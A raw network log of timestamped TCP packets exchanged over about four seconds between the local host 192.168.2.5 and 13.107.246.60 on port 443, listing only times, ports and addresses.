Oct 7, 2024 13:26:59.454508066 CEST	443	49877	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.454600096 CEST	49877	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.454808950 CEST	49877	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.454819918 CEST	443	49877	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.584614992 CEST	443	49873	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.585474014 CEST	49873	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.585501909 CEST	443	49873	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.586050987 CEST	49873	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.586060047 CEST	443	49873	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.637968063 CEST	443	49874	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.638777971 CEST	49874	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.638808966 CEST	443	49874	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.639483929 CEST	49874	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.639492989 CEST	443	49874	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.683547020 CEST	443	49873	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.683624029 CEST	443	49873	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.683743954 CEST	49873	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.683753014 CEST	443	49873	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.684315920 CEST	49873	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.685671091 CEST	49873	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.685703039 CEST	443	49873	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.685846090 CEST	49873	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.685853004 CEST	443	49873	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.689435005 CEST	49878	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.689493895 CEST	443	49878	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.689587116 CEST	49878	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.689810038 CEST	49878	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.689824104 CEST	443	49878	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.742486000 CEST	443	49874	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.742805958 CEST	443	49874	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.742901087 CEST	49874	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.743031025 CEST	49874	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.743031025 CEST	49874	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.743046045 CEST	443	49874	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.743052959 CEST	443	49874	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.746961117 CEST	49879	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.747015953 CEST	443	49879	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.747102022 CEST	49879	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.747333050 CEST	49879	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.747348070 CEST	443	49879	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.765481949 CEST	443	49875	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.766096115 CEST	49875	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.766115904 CEST	443	49875	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.766599894 CEST	49875	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.766603947 CEST	443	49875	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.874341965 CEST	443	49875	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.874849081 CEST	443	49875	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.874938011 CEST	49875	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.874964952 CEST	443	49875	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.875026941 CEST	443	49875	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.875083923 CEST	49875	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.875106096 CEST	443	49875	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.875124931 CEST	49875	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.875130892 CEST	443	49875	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.875144005 CEST	49875	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.875149965 CEST	443	49875	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.878721952 CEST	49880	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.878776073 CEST	443	49880	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:59.878887892 CEST	49880	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.879110098 CEST	49880	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:59.879122019 CEST	443	49880	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.092381954 CEST	443	49877	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.093066931 CEST	49877	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.093092918 CEST	443	49877	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.093739986 CEST	49877	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.093744993 CEST	443	49877	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.191509962 CEST	443	49877	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.191757917 CEST	443	49877	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.191807985 CEST	443	49877	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.191943884 CEST	49877	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.191943884 CEST	49877	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.192173958 CEST	49877	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.192173958 CEST	49877	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.192195892 CEST	443	49877	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.192207098 CEST	443	49877	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.195765018 CEST	49881	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.195816994 CEST	443	49881	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.195904016 CEST	49881	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.196186066 CEST	49881	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.196202040 CEST	443	49881	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.339488983 CEST	443	49878	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.340277910 CEST	49878	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.340374947 CEST	443	49878	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.340993881 CEST	49878	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.341007948 CEST	443	49878	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.393718004 CEST	443	49879	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.394357920 CEST	49879	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.394382000 CEST	443	49879	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.394861937 CEST	49879	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.394867897 CEST	443	49879	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.440701008 CEST	443	49878	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.440793991 CEST	443	49878	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.441118002 CEST	49878	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.441210985 CEST	49878	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.441210985 CEST	49878	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.441258907 CEST	443	49878	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.441286087 CEST	443	49878	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.444499016 CEST	49882	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.444551945 CEST	443	49882	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.444653034 CEST	49882	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.444809914 CEST	49882	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.444828987 CEST	443	49882	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.494925976 CEST	443	49879	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.494987011 CEST	443	49879	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.495065928 CEST	49879	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.495457888 CEST	49879	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.495457888 CEST	49879	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.495482922 CEST	443	49879	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.495492935 CEST	443	49879	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.499423027 CEST	49883	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.499483109 CEST	443	49883	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.499689102 CEST	49883	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.499977112 CEST	49883	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.499989986 CEST	443	49883	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.534419060 CEST	443	49880	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.538409948 CEST	49880	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.538424015 CEST	443	49880	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.539094925 CEST	49880	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.539099932 CEST	443	49880	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.636265039 CEST	443	49880	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.636437893 CEST	443	49880	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.636524916 CEST	49880	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.636846066 CEST	49880	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.636863947 CEST	443	49880	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.636873960 CEST	49880	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.636878967 CEST	443	49880	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.644726038 CEST	49884	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.644762993 CEST	443	49884	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.645117998 CEST	49884	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.645117998 CEST	49884	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.645147085 CEST	443	49884	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.875283003 CEST	443	49881	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.878400087 CEST	49881	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.878443956 CEST	443	49881	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.878900051 CEST	49881	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.878912926 CEST	443	49881	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.979732037 CEST	443	49881	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.979871988 CEST	443	49881	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.979950905 CEST	49881	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.980356932 CEST	49881	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.980382919 CEST	443	49881	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.980427027 CEST	49881	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.980432987 CEST	443	49881	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.983978987 CEST	49885	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.984031916 CEST	443	49885	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:00.984101057 CEST	49885	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.984525919 CEST	49885	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:00.984546900 CEST	443	49885	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.118562937 CEST	443	49882	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.129842997 CEST	443	49883	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.133263111 CEST	49882	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.133291960 CEST	443	49882	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.133781910 CEST	49882	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.133786917 CEST	443	49882	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.134603024 CEST	49883	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.134632111 CEST	443	49883	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.135217905 CEST	49883	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.135226011 CEST	443	49883	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.235373974 CEST	443	49882	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.235611916 CEST	443	49882	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.235678911 CEST	49882	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.235948086 CEST	49882	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.235966921 CEST	443	49882	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.235979080 CEST	49882	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.235985994 CEST	443	49882	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.239583015 CEST	49886	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.239679098 CEST	443	49886	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.239778042 CEST	49886	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.239986897 CEST	49886	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.240024090 CEST	443	49886	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.266856909 CEST	443	49883	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.268105030 CEST	443	49883	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.268157959 CEST	443	49883	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.268157959 CEST	49883	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.268209934 CEST	49883	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.268646955 CEST	49883	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.268666983 CEST	443	49883	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.268676996 CEST	49883	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.268682003 CEST	443	49883	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.272435904 CEST	49887	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.272485971 CEST	443	49887	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.272871017 CEST	49887	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.273049116 CEST	49887	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.273072004 CEST	443	49887	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.310302019 CEST	443	49884	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.313030958 CEST	49884	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.313050985 CEST	443	49884	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.313549995 CEST	49884	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.313559055 CEST	443	49884	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.412467003 CEST	443	49884	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.412630081 CEST	443	49884	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.412781000 CEST	49884	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.413095951 CEST	49884	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.413127899 CEST	443	49884	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.413239002 CEST	49884	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.413245916 CEST	443	49884	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.417074919 CEST	49888	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.417100906 CEST	443	49888	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.417323112 CEST	49888	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.417323112 CEST	49888	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.417354107 CEST	443	49888	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.634562969 CEST	443	49885	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.635169029 CEST	49885	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.635202885 CEST	443	49885	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.635598898 CEST	49885	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.635612011 CEST	443	49885	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.733417034 CEST	443	49885	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.733452082 CEST	443	49885	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.733499050 CEST	443	49885	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.733624935 CEST	49885	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.733938932 CEST	49885	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.733971119 CEST	443	49885	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.733987093 CEST	49885	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.733994961 CEST	443	49885	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.737021923 CEST	49889	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.737052917 CEST	443	49889	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.737127066 CEST	49889	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.737282038 CEST	49889	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.737291098 CEST	443	49889	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.874705076 CEST	443	49886	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.875276089 CEST	49886	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.875356913 CEST	443	49886	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.875741959 CEST	49886	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.875757933 CEST	443	49886	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.933568001 CEST	443	49887	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.934289932 CEST	49887	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.934318066 CEST	443	49887	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.934823990 CEST	49887	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.934834957 CEST	443	49887	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.973385096 CEST	443	49886	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.973592043 CEST	443	49886	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.973643064 CEST	49886	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.973741055 CEST	49886	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.973763943 CEST	443	49886	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.973778009 CEST	49886	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.973783970 CEST	443	49886	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.976838112 CEST	49890	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.976880074 CEST	443	49890	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:01.976959944 CEST	49890	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.977093935 CEST	49890	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:01.977109909 CEST	443	49890	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.036847115 CEST	443	49887	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.036923885 CEST	443	49887	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.036973953 CEST	49887	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.036990881 CEST	443	49887	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.037051916 CEST	443	49887	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.037096977 CEST	49887	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.037250042 CEST	49887	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.037267923 CEST	443	49887	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.037276983 CEST	49887	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.037283897 CEST	443	49887	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.040126085 CEST	49891	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.040160894 CEST	443	49891	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.040230036 CEST	49891	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.040395021 CEST	49891	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.040410995 CEST	443	49891	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.092417002 CEST	443	49888	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.093156099 CEST	49888	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.093180895 CEST	443	49888	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.093677044 CEST	49888	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.093683958 CEST	443	49888	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.142971039 CEST	443	49876	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.143655062 CEST	49876	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.143672943 CEST	443	49876	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.144299984 CEST	49876	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.144305944 CEST	443	49876	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.209738970 CEST	443	49888	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.209923029 CEST	443	49888	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.209989071 CEST	49888	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.210099936 CEST	49888	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.210128069 CEST	443	49888	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.210143089 CEST	49888	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.210150003 CEST	443	49888	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.213129044 CEST	49892	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.213179111 CEST	443	49892	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.213252068 CEST	49892	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.213411093 CEST	49892	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.213423967 CEST	443	49892	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.242647886 CEST	443	49876	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.242917061 CEST	443	49876	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.242994070 CEST	49876	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.243017912 CEST	49876	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.243040085 CEST	443	49876	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.243055105 CEST	49876	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.243061066 CEST	443	49876	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.245755911 CEST	49893	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.245798111 CEST	443	49893	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.245907068 CEST	49893	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.246056080 CEST	49893	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.246069908 CEST	443	49893	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.371515036 CEST	443	49889	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.372039080 CEST	49889	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.372066975 CEST	443	49889	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.372543097 CEST	49889	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.372555017 CEST	443	49889	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.472347021 CEST	443	49889	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.472548962 CEST	443	49889	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.472593069 CEST	443	49889	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.472671986 CEST	49889	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.472712994 CEST	49889	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.472904921 CEST	49889	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.472923040 CEST	443	49889	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.472934008 CEST	49889	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.472940922 CEST	443	49889	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.475917101 CEST	49894	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.475955963 CEST	443	49894	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.476037025 CEST	49894	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.476313114 CEST	49894	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.476330042 CEST	443	49894	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.615008116 CEST	443	49890	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.667834044 CEST	49890	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.719193935 CEST	443	49891	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.761564016 CEST	49891	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.853162050 CEST	443	49892	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.892024994 CEST	443	49893	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.902220011 CEST	49892	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.937766075 CEST	49893	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.937798977 CEST	443	49893	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.940696955 CEST	49893	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.940705061 CEST	443	49893	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.941097975 CEST	49890	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.941123962 CEST	443	49890	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.941512108 CEST	49890	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.941515923 CEST	443	49890	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.946856976 CEST	49891	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.946882010 CEST	443	49891	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.947345972 CEST	49891	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.947351933 CEST	443	49891	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.950011969 CEST	49892	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.950032949 CEST	443	49892	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:02.953077078 CEST	49892	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:02.953084946 CEST	443	49892	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:03.037004948 CEST	443	49893	13.107.246.60	192.168.2.5
